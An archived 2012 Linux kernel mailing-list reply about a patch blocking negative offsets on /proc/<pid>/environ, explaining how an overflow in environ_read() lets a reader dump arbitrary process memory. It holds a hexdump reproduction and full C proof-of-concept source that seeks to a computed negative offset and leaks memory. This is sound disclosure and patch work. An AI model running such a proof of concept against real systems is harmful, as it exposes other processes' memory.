lkml.org 
[lkml]   [2012]   [Jul]   [22]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: [PATCH] proc: do not allow negative offsets on /proc/<pid>/environ
Hi Oleg,

On Sun, Jul 22, 2012 at 10:00:49PM +0200, Oleg Nesterov wrote:
> On 07/22, Djalal Harouni wrote:
> >
> > __mem_open() which is called by both /proc/<pid>/environ and
> > /proc/<pid>/mem ->open() handlers will allow the use of negative offsets.
> > /proc/<pid>/mem has negative offsets but not /proc/<pid>/environ.
>
> Probablt the patch makes sense, but I can't understand the changelog...
>
> > Allowing negative offsets on /proc/<pid>/environ can turn it to act like
> > /proc/<pid>/mem. A negative offset will pass the
> > fs/read_write.c:lseek_execute() and the environ_read() checks and will
> > point to another VMA.
>
> which VMA?
It depends on the offset. Please see below.

> environ_read() can only read the memory from [env_start, env_end], and
> it should check *ppos anyway to ensure it doesn't read something else.
Yes I agree, but currently that's not the case, there are no checks on *ppos.
So if you pass a negative offset you will be able to read from an arbitrary
address.

I'll send another patch tomorrow to add the checks for *ppos.



Since negative offsets are allowed we can pass it to lseek():

1) ->llseek()
-> generic_file_llseek()
-> generic_file_llseek_size()
-> lseek_execute()

inside fs/read_write.c:lseek_execute() we pass the two checks and
file->f_pos will be updated.


2) ->read()
-> environ_read()

inside environ_read() there is only a one check:

int this_len = mm->env_end - (mm->env_start + src);

if (this_len <= 0)
break;

Here 'src' is 'src = *ppos' the negative offset converted to unsigned long
and (mm->env_start + src) can overflow and point to another VMA.

int this_len = mm->env_end - (mm->env_start + src)

'this_len' will be positive and we pass that check.


I also don't like the truncation of the result to 'int this_len'



A quick example to reproduce it:
New kernels /proc/<pid>/stat include 'mm->env_start', third number from
the end.

To read the .text area from 0x00400000:
0x00400000 - (mm->env_start == 140733359794601) = negative_offset
$ ./mem_environ /proc/$(pidof cat)/environ 140733359794601 | hexdump -C -v
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 3e 00 01 00 00 00 a0 17 40 00 00 00 00 00 |..>.......@.....|
00000020 40 00 00 00 00 00 00 00 40 c5 00 00 00 00 00 00 |@.......@.......|
...
mem_environ is just a program that calculats the negative offset,
open(/proc/<pid>/environ), lseek() and read().

The source is attached, just run this command to test it:
$ ./mem_environ /proc/self/environ 0x0 | hexdump -C -v
In rare cases it will not work, I don't know why.

> > static int mem_open(struct inode *inode, struct file *file)
> > {
> > - return __mem_open(inode, file, PTRACE_MODE_ATTACH);
> > + int ret = __mem_open(inode, file, PTRACE_MODE_ATTACH);
> > + if (!ret)
> > + /* OK to pass negative loff_t, we can catch out-of-range */
> > + file->f_mode |= FMODE_UNSIGNED_OFFSET;
> > +
> > + return ret;
>
> I guess you can set FMODE_UNSIGNED_OFFSET unconditionally, it doesn't
> matter if __mem_open() fails. But I won't insist.
Sure.

> Oleg.
>
Thanks Oleg. BTW should I resend the patch with a better changelog entry ?

I'll also add another patch to check the offsets inside environ_read().

--
tixxdz
http://opendz.org
/*
* /proc/<pid>/environ like /proc/<pid>/mem
*
* Author: Djalal Harouni tixxdz opendz.org
* License: GPLv2
*
*
* (mm->env_start + src) will point to your page.
* src is the offset
* For 64bits: A negative offset.
* For 32bits: Did not test, can we wrap ?
*
*/
#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SYS_lseek 8

extern char **environ;

/* use **environ against a non -fPIC elf */
static inline loff_t get_offset(unsigned long env_addr)
{
unsigned long load_addr = 0x00400000;
return (load_addr - env_addr);
}
static loff_t kernel_lseek(int fd, loff_t offset)
{
return syscall(SYS_lseek, fd, offset, SEEK_SET);
}
static int leak(char *proc_file, unsigned long env_start)
{
int ret;
int i, fd;
char buf[4096];
loff_t offset = 0;
memset(buf, 0, sizeof(buf));

ret = -1;
fd = open(proc_file, O_RDONLY);
if (fd == -1) {
perror("open");
return ret;
}
if (env_start)
offset = get_offset(env_start);
if (!offset)
/* really ? */
offset = get_offset((unsigned long)*environ);
if (kernel_lseek(fd, offset) == (off_t) -1) {
perror("lseek");
return ret;
}
ret = read(fd, buf, sizeof(buf));
if (ret == -1) {
perror("read");
return ret;
}
close(fd);
for (i = 0; i < sizeof(buf); i++)
printf("%c", buf[i]);
return 0;
}
int main(int argc, char **argv)
{
unsigned long env_addr = 0;
if (argc < 3) {
printf("%s /proc/<pid>/environ env_addr\n"
" /proc/<pid>/environ.\n"
" env_addr: start of environment\n", argv[0]);
return 0;
}
env_addr = (unsigned long) strtoul(argv[2], NULL, 0);
return leak(argv[1], env_addr);
}
\
 
 \ /
  Last update: 2012-07-23 03:41    [W:0.244 / U:1.080 seconds]
©2003-2014 Jasper Spaans. Advertise on this site